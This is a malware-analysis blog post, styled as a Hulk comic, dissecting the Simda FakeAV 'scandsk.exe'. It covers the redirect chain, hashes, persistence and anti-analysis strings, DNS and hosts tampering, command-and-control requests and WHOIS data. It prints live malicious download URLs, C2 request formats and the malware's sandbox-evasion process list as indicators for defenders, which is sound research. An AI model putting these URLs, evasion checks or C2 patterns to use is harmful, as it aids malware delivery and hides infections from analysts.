Hulk and Malware Crusaders vs FakeAV scandsk.exe (Win32/Simda Backdoor Downloader) ~ fake

Thứ Năm, 21 tháng 2, 2013

Hulk and Malware Crusaders vs FakeAV scandsk.exe (Win32/Simda Backdoor Downloader)

05:52

nam tóc xù

How the adventure started..

It's mid-February and we find the scientist David Banner searching for information concerning tax mattters involving charitable giving and fundraising when he clicks through a Google search link to h00p://jonesfortenberry.com.

Suddenly an Anti-Virus scan begins to run. After a few moments Dr. Banner is informed that his machine has numerous infections.

"Windows Security Alert? Trojan Downloaders and Encoders?"
"What the...?? I'm not even using a Windows machine!"
Suddenly Dr. Banner realizes what has occurred... his heart rate begins to race.

The transformation begins...

The Nature of Infection

Where David Banner once stood is now a raging green beast.
The enraged Hulk roars, "RRRAAARRGHH!!!! Why can't puny malware -
leave Hulk alone??"

Taking a closer look, Hulk notices the evil culprit; 
injected Javascript from h00p://anie50sdark.rr.nu/nl.php?p=d 

The general chain of events showing the level of complexity of this malware..
Additional details can be found here -->>[pastebin link here]

Please note, these domains are dynamic & always changing,
so each interaction may be different as per below scheme:

// utilizing rr.nu TDS redirection..
// The site anie50sdark[.]rr.nu & simul12ations.rr.nu is (or was) utilizing the Sitelutions Redirection Engine..

1. anie50sdark[.]rr.nu/nl.php?p=d // IP is 31.184.192.238

2. Redirect via "window.top.location.replace" -->> simul12ations[.]rr.nu/n.php?h=1&s=nl // IP is 67.208.74.71

// from this point the lflink.com redirecting scheme (a Dynamic DNS URL) is utilized to download payload

3. Redirect via meta refresh method -->> www3[.]rle4wibx3.lflink.com/?z5wel=nqrgyamnopVqndXVtWCsW%2BvZ2K%2BglmismpnaZ9tlr4k%3D

// utilizing lflink.com's HTTP redirection 302

4. 302 redirect to main landing page-> www1[.]ezfqriux3154y-4.lflink.com/wk8d3gaz2s?98lssl=Xavk3N2p093K5tjR7p6omplxrmNkb17c3NepmKDH09TbssqHfFug7GplaWijmeLfovHcycKP1%2BGXbpeTwnJqX6zi57DZzOra5ZjM2LWIhFud6WpqcWafoaSemaiXqaaP6OyUpaqntl5asKHQsKmei%2B7a3a%2BdpqxoYmyWrY5kcV7g5rCdmK%2BfqquiqqtmV5mj5o6dp3Xj6uqfk%2BzS1qbg3tqrZGOg35mdp6Oa1uLZi9zY6q%2Fd1ueikp9Y

// another HTTP redirection 302

5. Click to download scandsk.exe -->> www1[.]ezfqriux3154y-4.lflink.com/XxDM1007_5606.php?98lssl=Xavk3N2p093K5tjR7p6omplxrmNkb17c3NepmKDH09TbssqHfFug7GplaWijmeLfovHcycKP1%2BGXbpeTwnJqX6zi57DZzOra5ZjM2LWIhFud6WpqcWafoaSemaiXqaaP6OyUpaqntl5asKHQsKmei%2B7a3a%2BdpqxoYmyWrY5kcV7g5rCdmK%2BfqquiqqtmV5mj5o6dp3Xj6uqfk%2BzS1qbg3tqrZGOg35mdp6Oa1uLZi9zY6q%2Fd1ueikp9Y

// the last chain is the payload download host: www2.f2ep4pjzr9a7e2.gw.lt

6. 302 redirect to scandsk.exe download -->> www2[.]f2ep4pjzr9a7e2.gw.lt/ddiaby1007_5606.php?ue6wsukx9=mdiu4N2y2dud25jN6Vrl096vbpdnm1jlzpq0ppvM2pvYb7fEf5bW7a9qkWecWOTYc%2B7pzbuem8%2BWotKTua%2BwmK3Xq6Kf3NWq65nYzrWOuVjO4HGmoqilZ5JpmWCmnWqd5unM7K7Zb5aWq9nOt6hrh6vZnrKZZ6uopqLabcdinZao46erpW6acJ5rqphpndfk2Nmi1G%2Fc56ujmOzenpWuzpTtmGTj2eHU5qSUldTdWtLc86%2BtwqbUk9%2BLqezVuNjcdtmX09R62dbflg%3D%3D

// with the strict setting..

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 04 Feb 2013 17:39:16 GMT
Content-Type: application/octet-stream
Connection: keep-alive
X-Powered-By: PHP/5.3.8
"Set-Cookie: ac5abc2a99=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: public, must-revalidate"
Content-Length: 953344
Content-Disposition: attachment; filename=scandsk.exe
Content-Transfer-Encoding: binary

After completion the user is presented with a convincing dialog box with the option to "remove all" detected malware.

When Hulk clicks anywhere on the message he is prompted to download FakeAV the "scandsk.exe".
As if possessed, the Hulk screams, "RRAAAARRRGGHHHH!!!
"CRUCESIGNATORUM!!! - Hulk summons his friends, the Malware Crusaders to assist with dissecting this evil software.

Meanwhile all of the operations stated above can be download as PCAP here -->>[MediaFire]



Malware Analysis

Erm.. Hi. this is @malwaremustdie.. I just (somehow) got summoned by Hulk,
if I understand his words (behind his anger roars) correctly, he wanted 
us to.. err.. #SMASH!?? (peeking at Hulk..sweating) Obviously No! 
To analyze the malware he found. :-)

As no one can say no to Hulk in this mode, and to avoid his neighbors calling 
the police so we must get done to it fast, and here we go:

The malware looks like the below icon (Hulk had some collection)

And I am looking at the recent one with the below hash..
Sample : "scandsk.exe"
Size: -rwxr--r--  1 hulk  green "953,344" scandsk.exe
MD5    : "bb21db6128c344ded94cda582f6d549f"
SHA256 : "8ca233cbefc68c39e1210ad9b7ed8d558a3a4939546badbcc4eed53a81f62670"
Is a PE with Sections:    .text 0x1000 0x20d30 135168
   DATA 0x22000 0x4dca6 155648
   DATA 0x70000 0x449be 169984
   INIT 0xb5000 0x5d50a 186368
   INIT 0x113000 0x40aac 265216
   .rsrc 0x154000 0x955c 38912
   .reloc 0x15e000 0x16c 1024
More info: Entry Point at 0xe66f
Virtual Address is 0x40f26f
Fake compile time: 2008-08-06 15:52:29
Wrong CRC, Claimed:  992898 Actual:  977558
Invalid import segment, and most of the sections are crypted.
A quick scan in VT -->>[HERE] will show these Malware Names: MicroWorld-eScan         : Gen:Variant.Kazy.132675
nProtect                 : Backdoor/W32.Simda.953344
Malwarebytes             : Trojan.Agent.AFF
TheHacker                : Trojan/Simda.b
ESET-NOD32               : Win32/Simda.B
Avast                    : Win32:MalOb-IJ [Cryp]
Kaspersky                : Backdoor.Win32.Simda.pvc
BitDefender              : Gen:Variant.Kazy.132675
Agnitum                  : Backdoor.Simda!ZWUl9AhwKrI
Comodo                   : Backdoor.Win32.Simda.PVC
F-Secure                 : Gen:Variant.Kazy.132675
DrWeb                    : Trojan.Rodricter.21
VIPRE                    : Backdoor.Win32.Simda.b (v)
AntiVir                  : TR/Dropper.Gen
Sophos                   : Mal/Simda-G
Jiangmin                 : Backdoor/Simda.bfh
Kingsoft                 : Win32.Hack.Simda.p.(kcloud)
GData                    : Gen:Variant.Kazy.132675
AhnLab-V3                : Backdoor/Win32.Simda
Ikarus                   : Win32.SuspectCrc
Fortinet                 : W32/Simda.B!tr
AVG                      : Dropper.Generic7.BEOR
Panda                    : Suspicious file
In the binary, after de-packed, it was seen below malicious actions:  Self-renamed: %Temp%\1.tmp 
And copied itself to the  %appdata%\ScanDisc.exe
Drop components s.exe, d.sys, s.sys : c%systemroot%\system32
%s\%s.exe
%%TEMP%%\%d.sys
fastfat
%systemroot%\system32\drivers
%s\%s.sys
%AppData%\dexplorer.exe
Using CMD to register itself as highest task & execution component binary: cmd.exe
＜Actions
task%d＞
\\?\globalroot\systemroot\system32\tasks\
＜Principals＞
＜Principal id="LocalSystem"＞
＜UserId＞S-1-5-18＜/UserId＞
＜RunLevel＞HighestAvailable＜/RunLevel＞
＜/Principal＞
＜/Principals＞
＜Actions Context="LocalSystem"＞
＜Exec＞
＜Command＞%s＜/Command＞
＜/Exec＞
＜/Actions＞
＜/Task＞
dexplorer.exe
It then detected these softwares: cv.exe
irise.exe
IrisSvc.exe
wireshark.exe
dumpcap.exe
ZxSniffer.exe
Aircrack-ng Gui.exe
observer.exe
tcpdump.exe
WinDump.exe
wspass.exe
Regshot.exe
ollydbg.exe
PEBrowseDbg.exe
windbg.exe
DrvLoader.exe
SymRecv.exe
Syser.exe
apis32.exe
VBoxService.exe
VBoxTray.exe
SbieSvc.exe
SbieCtrl.exe
SandboxieRpcSs.exe
SandboxieDcomLaunch.exe
SUPERAntiSpyware.exe
ERUNT.exe
ERDNT.exe
EtherD.exe
Sniffer.exe
CamtasiaStudio.exe
CamRecorder.exe
Software\CommView
SYSTEM\CurrentControlSet\Services\IRIS5
Software\eEye Digital Security
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wireshark.exe
SOFTWARE\ZxSniffer
SOFTWARE\Cygwin
SOFTWARE\Cygwin
SOFTWARE\B Labs\Bopup Observer
AppEvents\Schemes\Apps\Bopup Observer
Software\B Labs\Bopup Observer
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Win Sniffer_is1
Software\Win Sniffer
SOFTWARE\Classes\PEBrowseDotNETProfiler.DotNETProfiler
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\Debugging Tools for Windows (x86)
SYSTEM\CurrentControlSet\Services\SDbgMsg
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\APIS32
Software\Syser Soft
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\APIS32
SOFTWARE\APIS32
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions
SYSTEM\CurrentControlSet\Services\VBoxGuest
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie
SYSTEM\CurrentControlSet\Services\SbieDrv
Software\Classes\Folder\shell\sandbox
Software\Classes\*\shell\sandbox
SOFTWARE\SUPERAntiSpyware.com
SOFTWARE\Classes\SUPERAntiSpywareContextMenuExt.SASCon.1
SOFTWARE\SUPERAntiSpyware.com
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ERUNT_is1
If one of these are found somehow malware will not infect properly. If it infects, it will run these operations:  Changes your registry PC's DNS server setting into 8.8.8.8 + 192.168.0.1   HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{101AD58A-72E3-4831-9F1E-01C7C72E2FAB}
　→"8.8.8.8,192.168.0.1"
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{1AD45B38-4060-4F73-BB1E-A0439A2D97EB} 
 →"8.8.8.8,192.168.0.1"
Changing the policy regarding to temporary data: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA
Temp\Low
Selfrunning itself using Runonce: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
opt
%TEMP%
C:\Documents and Settings\$USER\
\scandsk.exe
Cleaning your hosts data by rewriting clean hosts file: "C:\Windows\system32\drivers\etc\hosts.txt"
# Copyright (c) 1993-2006 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
"127.0.0.1       localhost
::1             localhost"
# Copyright (c) 1993-2006 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
"127.0.0.1       localhost
::1             localhost"
Changing your search engine setting into ... h00p://findgala.com (?) \Software\Microsoft\Internet Explorer\SearchScopes
DefaultScope
URL
\searchplugins\
search.xml
＜ShortName＞search＜/ShortName＞
＜SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"＞
＜Description＞Search for the best price.＜/Description＞
＜InputEncoding＞windows-1251＜/InputEncoding＞
"h00p://findgala.com/?"
＜Url type="text/html" method="GET" template="%s"＞
＜Image width="16" height="16"＞%2B%2Ff33%2BdvvX7%2F%2FMjEx8nKycrGzwKXOiPKzICvdeezLhCV3jp15%2Bfv%2FX0YGhv8MDDxMX2qKTIw0RK10eYD6QYqATvoPBkt3f5K0W9Ew4fjTFz%2F%2Bw8Dm3W8UPeZxqFa%2BevsFyD0twgfVsOfkRxHrtfV9u5BVQ8Crd98%2FffkGYQM1QJ20%2FfSPv79eNxQGYfpSVJADmcvEAHbr7oOX2dj%2FERNKIA2%2F%2F%2Fz%2FxfCDhYVoDUDw5P6vf9%2B5iY0HVmZGQWm%2BN3fff%2Fn2k4eLHS739x%2FDiRs%2Ff%2F%2F5x8HO%2FOHzN3djfqgNjIwMgc6qzLx%2Fpy47j2zY%2Feff06tXhOUucgxeun33AUZGpHh4%2Bvo7t8EyIJqz%2FhpasD59%2B5dNrqdnznZIsEL9ICXCsWuBCwvTv%2FymS5PWPP32ExEALz%2F%2BB5r848cPCJcRaMP9xaYQzofPPzfuvrnj0Jst%2B5%2F8%2Bc4sLPeDkYlRgJc93VPE18NIXkYUmJYQSQMZ%2FP3379uPH7%2F%2F%2FEETBzqJ0WqLGvFpe2LCC4AAAwAyjg7ENzDDWAAAAABJRU5ErkJggg%3D%3D＜/Image＞
＜Param name="q" value="{searchTerms}"/＞
＜Param name="uid" value="%d"/＞
＜/Url＞
＜/SearchPlugin＞
We detect the attempt for spam setting spf record: v=spf1 a mx ip4:%d.%d.%d.%d/%d ?all
↑which ip4:%d.%d.%d.%d/%d is the malicious IP.  Detecting attempt to networking to remote hosts: 46.105.131.123:80 Communicating with remote hosts with the method: HTTP/1.1, GET, HEAD or POST
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre
User-agent: IE7
User-agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
With the HTTP operations of: HTTP/1.1 GET /?abbr=RTK&setupType=update&uid=%d&ttl=%s&controller=microinstaller&pid=3
Host: "update1.randomstring.com"

HTTP/1.1 HEAD /update_c1eec.exe
Host: "update1.randomstring.com"

HTTP/1.1 POST
Host: "update1.randomstring.com"
User-Agent: IE7
Build/13.0
patch:0
Version/10.0
ver:2.0
update/0
Mod/0
Service 1.0
lib/5.0
Library1.0
App/7.0
compat/0
feed/7.1.0
system:3.0
control/5.0
Engine/4.0
runtime 11.0
layout/2.0
Build/14.0
patch:10
Version/11.0
ver:3.0
update/10
Mod/3.0
Service 2.0
lib/6.0
Library2.0
App/8.0
compat/4.1.0
feed/7.2.0
system:4.0
control/6.0
Engine/5.0
runtime 12.0
layout/3.0
Build/15.0
patch:20
Version/12.0
ver:4.0
update/20
Mod/4.0
Service 3.0
lib/7.0
Library3.0
App/9.0
compat/4.2.0
feed/7.3.0
system:5.0
control/7.0
Engine/6.0
runtime 13.0
layout/4.0
If we  execute this scandsk.exe, it goes like this: Soon after just sitting there, the CPU resource will boil up and  we'll find that network request started to be sent like: That's my analysis, a FakeAV, sending your data + other malware's downloader. It doesn't do the ransom, will annoy you and make you pay. I'll pass you back to Hulk :-)

Epilogue

Working together, Hulk and the Malware Crusaders work to expose the evil that has taken over the internet.
Beware bad guyz (with respect to Liam Neeson from Taken: We don't know who you are. We don't know what you want. If you are looking for ransom, I can tell you we don't have money. But what we do have are a very particular set of skills; skills we have acquired over a very long career.
Skills that make us a nightmare for people like you... We I will look for you, we will find you, and we will kill you.

Samples & Research Data

For the research purpose Hulk shares all capture data & sample-->>[Download]


Malware Network ID Analysis

The FakeAV download url: update1.randomstring[.]com/update_c1eec.exe
Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
Domain Name:        RANDOMSTRING.COM
Created on:         30-May-03
Expires on:         30-May-13
Last Updated on:    01-Mar-11
Registrant:
"Happy Dude <==LAME 
1 Happy St <==LAME
HAPPYTOWN  <==LAME
QLD, None Selected 4000 <==LAME"
Australia
The FakeAV callback IP 46.105.131.123 inetnum:        46.105.131.120 - 46.105.131.127
"netname:        marysanders1
descr:          marysanders1net
country:        IE (Ireland, Dublin)"
org:            ORG-OH5-RIPE
admin-c:        OTC9-RIPE
tech-c:         OTC9-RIPE
status:         ASSIGNED PA
route:          46.105.0.0/16
descr:          OVH ISP
descr:          Paris, France
origin:         AS16276
mnt-by:         OVH-MNT
source:         RIPE # Filtered
FakeAV download server: www2.f2ep4pjzr9a7e2.gw.lt gw.lt   internet address = 78.60.187.24
        primary name server = ns1.afraid.org
        responsible mail addr = dnsadmin.afraid.org
        serial  = 1302230009
        refresh = 86400 (1 day)
        retry   = 7200 (2 hours)
        expire  = 2419200 (28 days)
        default TTL = 3600 (1 hour)
gw.lt   MX preference = 20, mail exchanger = alt1.aspmx.l.google.com
gw.lt   MX preference = 20, mail exchanger = alt2.aspmx.l.google.com

"can't trace the whois db..."
$ whois gw.it
Domain:             gw.it
"Status:             UNASSIGNABLE <== marked"

"but practically is up & alive.."
serial 2013022313 +-a.dns.it (194.0.16.215)
serial 2013022313 | +-c.dns.it (194.0.1.22)
serial 2013022313 | | +-dns.nic.it (192.12.192.5)
serial 2013022313 | | | +-m.dns.it (217.29.76.4)
serial 2013022313 | | | | +-nameserver.cnr.it (194.119.192.34)
serial 2013022313 | | | | | +-r.dns.it (193.206.141.46)
serial 2013022313 | | | | | |  +-s.dns.it (194.146.106.30)
The FakeAV used redirector service: Dynamic DNS provided by ChangeIP.com Domain Name: LFLINK.COM
Registrant:
"Network Operations, ChangeIP"
   1200 Brickell Avenue
   Suite 1950
   Miami, FL 33131, US
"Domain servers in listed order:
   NS1.CHANGEIP.ORG             209.208.5.13
   NS3.CHANGEIP.ORG             208.85.240.112
   NS2.CHANGEIP.ORG             204.16.175.12
FakeAV TDS domain RR.NU(redirected by Sitelutions Redirection Engine): .NU Domain Ltd Whois service
Domain Name (ASCII): rr.nu
Technical Contact:"
    InfoRelay  abuse@sitelutions.com
    4 Bridge Plaza Drive
    Englishtown
    NJ 07726 US
    Phone: (703) 485-4600 (voice)"
Record last updated on 2011-Oct-17.
Record expires on 2016-Nov-4.
Record created on 1998-Nov-4.
Record status: Active
Registrar of record: .NU Domain Ltd
Referral URL: http://www.nunames.nu
Domain servers in listed order:
    ns1.sitelutions.com
    ns2.sitelutions.com
    ns3.sitelutions.com
    ns4.sitelutions.com
    ns5.sitelutions.com
"Owner and Administrative Contact information for domains
registered in .nu is available upon request from support@nic.nu"
Copyright by .NU Domain Ltd - http://www.nunames.nu